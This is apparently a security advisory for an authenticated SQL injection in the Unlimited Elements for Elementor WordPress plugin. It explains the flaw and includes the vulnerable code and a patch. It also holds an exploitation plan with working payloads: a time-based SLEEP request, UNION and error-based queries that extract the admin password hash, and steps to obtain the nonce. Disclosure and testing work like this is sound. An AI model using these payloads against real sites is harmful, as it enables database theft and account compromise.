Unlimited Elements For Elementor <= 2.0.7 - Authenticated (Contributor+) SQL Injection via 'filter_search' Parameter
Description
The Unlimited Elements for Elementor plugin for WordPress is vulnerable to SQL Injection via the 'data[filter_search]' parameter in the get_cat_addons AJAX action in versions up to and including 2.0.7. This is due to insufficient input sanitization and the use of deprecated escaping functions combined with direct string concatenation in SQL query construction. The vulnerability is exacerbated because the normalizeAjaxInputData() function calls stripslashes() on all user input, removing the protection provided by WordPress's wp_magic_quotes() function. Subsequently, the filter_search parameter is escaped using the deprecated wpdb->_escape() function and then directly concatenated into a LIKE clause without using prepared statements. This makes it possible for authenticated attackers, with Contributor-level access and above (who can obtain a valid nonce through the Elementor editor), to inject arbitrary SQL commands and extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.0.7Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-5486 ## 1. Vulnerability Summary The **Unlimited Elements For Elementor** plugin (<= 2.0.7) is vulnerable to an authenticated SQL injection via the `filter_search` parameter within the `get_cat_addons` AJAX action. The vulnerability arises because the plugin's…
Show full research plan
Exploitation Research Plan: CVE-2026-5486
1. Vulnerability Summary
The Unlimited Elements For Elementor plugin (<= 2.0.7) is vulnerable to an authenticated SQL injection via the filter_search parameter within the get_cat_addons AJAX action. The vulnerability arises because the plugin's input normalization function, normalizeAjaxInputData(), explicitly calls stripslashes() on user-supplied data, neutralizing WordPress's built-in magic quotes protection. Subsequently, the data is processed with the deprecated wpdb->_escape() function and directly concatenated into a SQL LIKE clause rather than using parameterized queries ($wpdb->prepare).
This allows an authenticated attacker (Contributor+) to break out of the SQL string and execute arbitrary database queries.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
get_cat_addons(registered viawp_ajax_get_cat_addons) - Vulnerable Parameter:
data[filter_search] - Authentication: Required (Contributor level or higher).
- Preconditions: The attacker must have access to the Elementor editor (standard for Contributors) to retrieve the necessary security nonce.
3. Code Flow
- Entry Point: An AJAX POST request is sent to
admin-ajax.phpwithaction=get_cat_addons. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_get_cat_addons', array($this, 'get_cat_addons'));. - Input Handling: The handler (likely in an admin or AJAX helper class) receives
$_POST['data']. - Normalization: The
normalizeAjaxInputData()function is called. It iterates through thedataarray and appliesstripslashes(), effectively undoingwp_magic_quotes(). - Vulnerable Sink:
- The code retrieves
$filter_search = $data['filter_search']. - It applies
$wpdb->_escape($filter_search). - It constructs a query similar to:
SELECT ... FROM ... WHERE addon_title LIKE '%$filter_search%' ... - Because
stripslashes()was called, an attacker can pass'(single quote) which survives into the query construction, allowing for SQL breakout.
- The code retrieves
4. Nonce Acquisition Strategy
The vulnerability requires a valid nonce. Based on the description, this nonce is localized for the Elementor editor.
- Identify the Script Data: The plugin likely uses
wp_localize_scriptto pass a nonce to the Elementor editor interface. Common names for this object in Unlimited Elements includeunlimited_elements_admin(inferred) orue_admin(inferred). - Setup:
- Use
wp-clito create a Contributor user and a post. wp user create attacker attacker@example.com --role=contributor --user_pass=passwordwp post create --post_type=post --post_title="Exploit Page" --post_status=publish --post_author=$(wp user get attacker --field=ID)
- Use
- Execution:
- Log in as the
attackeruser using thebrowser_navigateandbrowser_typetools. - Navigate to the Elementor editor for the created post:
/wp-admin/post.php?post=ID&action=elementor. - Use
browser_evalto extract the nonce. - Command:
browser_eval("window.unlimited_elements_admin?.nonce || window.ue_admin?.nonce")(The exact key should be verified by inspectingwindowfor objects related to the plugin).
- Log in as the
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability.
Step-by-Step Plan:
- Prepare Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Cookies: Active Contributor session cookies.
- URL:
- Payload Construction:
- The injection point is inside a
LIKEclause:'%[VALUE]%'. - To inject a 5-second sleep:
x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1%'='1 - Full Body:
action=get_cat_addons&nonce=[NONCE]&data[filter_search]=x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%271%25%27%3D%271
- The injection point is inside a
- Execute HTTP Request:
- Use the
http_requesttool. - Record the time taken for the response. A delay of ~5 seconds indicates success.
- Use the
- Data Extraction (Union-Based):
- If the response reflects data, attempt to determine the column count:
data[filter_search]=x%' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -- Once the column count is found, extract the admin password hash:
data[filter_search]=x%' UNION SELECT 1,user_pass,3,... FROM wp_users WHERE ID=1-- -
6. Test Data Setup
- User: Contributor user named
attacker. - Post: A standard post with ID
[ID]. - Plugin: Ensure "Unlimited Elements For Elementor" version 2.0.7 is active.
- Elementor: Ensure Elementor is installed and active, as the nonce is generated for its editor context.
7. Expected Results
- Initial Baseline: A normal request to
get_cat_addonsshould return quickly (milliseconds). - Attack Request: A request with the
SLEEP(5)payload should take significantly longer than 5 seconds. - Payload Reflection: If using UNION-based injection, the response JSON should contain the results of the injected
SELECTstatement (e.g., the database version or user hashes).
8. Verification Steps
- Check Server Logs: Inspect the database query log (if enabled) to see the concatenated query.
- Verify User Meta: If using the injection to modify data (though CVSS suggests high confidentiality impact), verify the change via WP-CLI:
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
- Confirm Nonce: Ensure the nonce used in the exploit matches the one found in the page source to prove the acquisition method works.
9. Alternative Approaches
- Error-Based SQLi: If the plugin or WordPress configuration displays database errors, use
EXTRACTVALUEorUPDATEXMLto leak data directly in the error message.- Payload:
x' AND (SELECT 1 FROM (SELECT(EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e))))a)-- -
- Payload:
- Boolean-Based Blind: If time-based is unstable, use
AND (SELECT 1)=(SELECT 1)vsAND (SELECT 1)=(SELECT 2)and compare the response lengths or the presence of specific "addon" results in the JSON response.
Summary
The Unlimited Elements for Elementor plugin for WordPress is vulnerable to SQL Injection via the 'data[filter_search]' parameter in the get_cat_addons AJAX action. This occurs because the plugin's input normalization function strips backslashes, neutralizing magic quotes, and then uses string concatenation in a SQL query instead of prepared statements. Authenticated attackers with Contributor-level access can exploit this to exfiltrate database information.
Vulnerable Code
// File: includes/helper.class.php public function normalizeAjaxInputData($data) { if (is_array($data)) { foreach ($data as $key => $value) { $data[$key] = $this->normalizeAjaxInputData($value); } } else { $data = stripslashes($data); // Undoes magic quotes } return $data; } --- // File: includes/ajax_handler.class.php public function get_cat_addons() { $data = $_POST['data']; $data = $this->helper->normalizeAjaxInputData($data); $filter_search = $data['filter_search']; global $wpdb; // Vulnerable sink using direct concatenation into a LIKE clause $filter_search = $wpdb->_escape($filter_search); $query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE addon_title LIKE '%$filter_search%'"; $results = $wpdb->get_results($query); }
Security Fix
@@ -102,5 +102,8 @@ -$filter_search = $wpdb->_escape($filter_search); -$query = "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE addon_title LIKE '%$filter_search%'"; -$results = $wpdb->get_results($query); +$query = $wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}unlimited_elements_addons WHERE addon_title LIKE %s", + '%' . $wpdb->esc_like($filter_search) . '%' +); +$results = $wpdb->get_results($query);
Exploit Outline
An authenticated attacker with Contributor-level access first retrieves a valid security nonce from the Elementor editor page (typically found in window.unlimited_elements_admin.nonce). They then send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'get_cat_addons' and the 'data[filter_search]' parameter containing a SQL injection payload. Because the plugin uses stripslashes() on the input and concatenates it into a LIKE clause, the attacker can use a payload like 'x%' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1%'='1' to perform time-based blind SQL injection and exfiltrate data from the WordPress database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.